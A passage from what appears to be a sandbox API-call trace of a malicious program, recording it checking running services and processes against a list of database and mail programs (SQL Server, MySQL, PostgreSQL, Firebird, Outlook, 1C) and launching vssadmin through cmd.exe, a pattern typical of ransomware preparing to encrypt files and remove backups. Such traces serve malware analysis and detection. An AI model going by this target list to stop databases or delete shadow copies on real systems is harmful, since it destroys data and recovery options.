lpString2="UxSms") returned -1 [0057.787] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0057.787] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0057.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0057.787] lstrlenW (lpString="VSS") returned 3 [0057.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0057.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0057.787] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0057.787] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0057.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0057.787] lstrlenW (lpString="WdiServiceHost") returned 14 [0057.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0057.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0057.787] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0057.787] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0057.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0057.787] lstrlenW (lpString="WdiSystemHost") returned 13 [0057.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0057.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0057.787] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0057.787] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0057.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0057.787] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0057.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0057.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0057.787] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0057.787] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0057.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0057.787] lstrlenW (lpString="Winmgmt") returned 7 [0057.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0057.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0057.787] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0057.787] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0057.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0057.788] lstrlenW (lpString="WPDBusEnum") returned 10 [0057.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0057.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0057.788] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0057.788] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0057.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0057.788] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5400070 | out: hHeap=0x790000) returned 1 [0057.788] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0057.789] Process32FirstW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0057.790] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0057.790] lstrlenW (lpString="System") returned 6 [0057.790] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0057.790] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0057.790] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0057.790] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0057.790] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0057.790] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0057.790] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0057.790] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0057.790] lstrlenW (lpString="smss.exe") returned 8 [0057.790] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0057.790] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0057.791] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0057.791] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0057.791] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0057.791] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0057.791] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0057.791] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.791] lstrlenW (lpString="csrss.exe") returned 9 [0057.791] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0057.791] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0057.791] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0057.791] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0057.791] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0057.791] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0057.791] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0057.791] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0057.791] lstrlenW (lpString="wininit.exe") returned 11 [0057.792] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0057.792] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0057.792] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0057.792] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.792] lstrlenW (lpString="csrss.exe") returned 9 [0057.792] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0057.792] lstrlenW (lpString="winlogon.exe") returned 12 [0057.792] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0057.793] lstrlenW (lpString="services.exe") returned 12 [0057.793] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0057.793] lstrlenW (lpString="lsass.exe") returned 9 [0057.793] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0057.793] lstrlenW (lpString="lsm.exe") returned 7 [0057.793] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.793] lstrlenW (lpString="svchost.exe") returned 11 [0057.793] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.794] lstrlenW (lpString="svchost.exe") returned 11 [0057.794] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.794] lstrlenW (lpString="svchost.exe") returned 11 [0057.794] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.795] lstrlenW (lpString="svchost.exe") returned 11 [0057.795] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.795] lstrlenW (lpString="svchost.exe") returned 11 [0057.795] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0057.795] lstrlenW (lpString="audiodg.exe") returned 11 [0057.795] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.795] lstrlenW (lpString="svchost.exe") returned 11 [0057.796] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.796] lstrlenW (lpString="svchost.exe") returned 11 [0057.796] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0057.796] lstrlenW (lpString="dwm.exe") returned 7 [0057.796] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0057.796] lstrlenW (lpString="explorer.exe") returned 12 [0057.796] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0057.797] lstrlenW (lpString="spoolsv.exe") returned 11 [0057.797] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.797] lstrlenW (lpString="taskhost.exe") returned 12 [0057.797] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.797] lstrlenW (lpString="svchost.exe") returned 11 [0057.797] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0057.798] lstrlenW (lpString="taskeng.exe") returned 11 [0057.798] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.798] lstrlenW (lpString="taskhost.exe") returned 12 [0057.798] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0057.798] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0057.798] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0057.798] lstrlenW (lpString="noticed.exe") returned 11 [0057.798] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0057.799] lstrlenW (lpString="uploaded.exe") returned 12 [0057.799] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0057.799] lstrlenW (lpString="hardware.exe") returned 12 [0057.799] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0057.799] lstrlenW (lpString="oracle.exe") returned 10 [0057.799] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0057.800] lstrlenW (lpString="creativity.exe") returned 14 [0057.800] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0057.800] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0057.800] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0057.800] lstrlenW (lpString="edited.exe") returned 10 [0057.800] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0057.801] lstrlenW (lpString="custody.exe") returned 11 [0057.801] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0057.801] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0057.801] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0057.801] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0057.801] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0057.801] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0057.802] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0057.802] lstrlenW (lpString="radius.exe") returned 10 [0057.802] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0057.802] lstrlenW (lpString="extensions.exe") returned 14 [0057.802] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0057.803] lstrlenW (lpString="desperate.exe") returned 13 [0057.803] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0057.803] lstrlenW (lpString="professor-mo.exe") returned 16 [0057.803] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0057.803] lstrlenW (lpString="guidance.exe") returned 12 [0057.803] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0057.803] lstrlenW (lpString="week.exe") returned 8 [0057.804] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0057.804] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0057.804] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0057.804] lstrlenW (lpString="sn featured.exe") returned 15 [0057.804] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0057.804] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0057.804] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0057.805] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0057.805] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0057.805] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0057.805] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0057.805] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0057.805] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0057.806] lstrlenW (lpString="cmd.exe") returned 7 [0057.806] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0057.806] lstrlenW (lpString="conhost.exe") returned 11 [0057.806] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0057.806] lstrlenW (lpString="vssadmin.exe") returned 12 [0057.806] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0057.806] lstrlenW (lpString="VSSVC.exe") returned 9 [0057.806] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.807] lstrlenW (lpString="svchost.exe") returned 11 [0057.807] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0057.807] CloseHandle (hObject=0x388) returned 1 [0057.807] Sleep (dwMilliseconds=0x1f4) [0058.586] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3298008 [0058.587] EnumServicesStatusExW (in: hSCManager=0x3298008, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0058.587] GetLastError () returned 0xea [0058.587] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12c6) returned 0x4f30020 [0058.588] EnumServicesStatusExW (in: hSCManager=0x3298008, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4f30020, cbBufSize=0x12c6, pcbBytesNeeded=0x34bff44, 